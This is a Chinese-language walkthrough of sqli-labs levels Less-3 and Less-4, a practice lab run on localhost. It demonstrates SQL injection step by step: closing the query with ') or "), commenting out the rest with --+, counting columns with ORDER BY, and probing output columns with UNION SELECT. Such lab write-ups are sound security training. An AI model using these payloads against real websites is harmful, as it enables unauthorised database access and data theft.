判断注入类型
测试:http://localhost/sqli-labs-master/Less-3/index.php?id=1a
正常回显，可以判断为 字符型注入
闭合字符串执行而已 SQL语句
尝试使用 '闭合，http://localhost/sqli-labs-master/Less-3/index.php?id=1'
通过报错信息可以看出,我们使用'闭合后，后面还有一个)
尝试是使用 ')闭合，http://localhost/sqli-labs-master/Less-3/index.php?id=1')
报错提示) limit 0,1 错误，使用 --+ 将其后面的语句注释即可
paylod:http://localhost/sqli-labs-master/Less-3/index.php?id=1') --+
正常回显，成功绕过
判断字段数
测试:http://localhost/sqli-labs-master/Less-3/index.php?id=1') order by 3--+
正常回显
继续测试:http://localhost/sqli-labs-master/Less-3/index.php?id=1') order by 4--+
报错，说明存在 3 个字段
查看字段显示顺序
测试:http://localhost/sqli-labs-master/Less-3/index.php?id=-1') union select 1,2,3 --+
可以看到 2 和 3 正常回显，注意: id=-1
后续操作我就不在说明了，和之前的sqli-labs-Less1几乎一样的流程
Less4关卡
这里直接演示 union select 1,2,3 的语句。
payload:
http://localhost/sqli-labs-master/Less-4/?id=-1") union select 1,2,3--+和 Less3 几乎一模一样，Less3关卡使用
')单引号右括号闭合，而Less4关卡使用")算引号右括号闭合。后续步骤也和sqli-labs-Less1几乎一样的流程
